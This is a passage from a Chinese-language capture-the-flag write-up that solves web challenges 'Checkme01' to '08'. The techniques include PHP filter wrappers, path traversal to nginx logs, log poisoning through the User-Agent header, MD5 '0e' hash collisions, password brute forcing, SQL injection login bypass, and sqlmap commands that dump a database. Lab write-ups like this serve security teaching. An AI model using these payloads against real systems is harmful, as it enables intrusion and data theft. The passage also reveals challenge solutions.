$keys = base64_decode(urldecode($keys));
需要先将qsnctf字符进行base64编码才能使$keys=="qsnctf"判断成立。
输入即可得到flag
##Checkme02
使用伪协议查看源码
发现什么也没有
我们尝试读取phpinfo()：
搜索qsnctf即可得到flag
##Checkme03
打开发现还是文件包含
但是尝试使用?text=php://filter/read=convert.base64-encode/resource=index.php发现没用了
尝试读取日志
?text=../../../../../../../../../../../../../../../../var/log/nginx/access.log
从日志里可以看出会读取User-Agent所以直接使用hackbar修改User-Agent修改成<?php phpinfo();?>重新刷新
得到flag
##Checkme04
打开发现变量a只能为字母，b只能为数字。Md5相等就可以输出flag了
?a=QLTHNDT&b=7656486157
Md5后0e开头的相等。
##Checkme05
强类型比较

输入即可得到flag
##Checkme06
打开题目发现给了一个list发现是一个字典
猜一下是要爆破了。
爆破看到有一个返回包长度不同即是密码(自己爆破一下吧)
输入密码得到flag
##Checkme07
使用万能密码登陆即可得到flag
##Checkme08
将抓的包放到txt里面然后使用sqlmap
python sqlmap.py -r 1.txt –dbs
爆破数据库
python sqlmap.py -r 1.txt -D sql –tables
爆破表名
python sqlmap.py -r 1.txt -D sql -T user –columns
爆破列名
python sqlmap.py -r 1.txt -D sql -T user -C password –dump
查看password列数据即可得到flag
得到flag
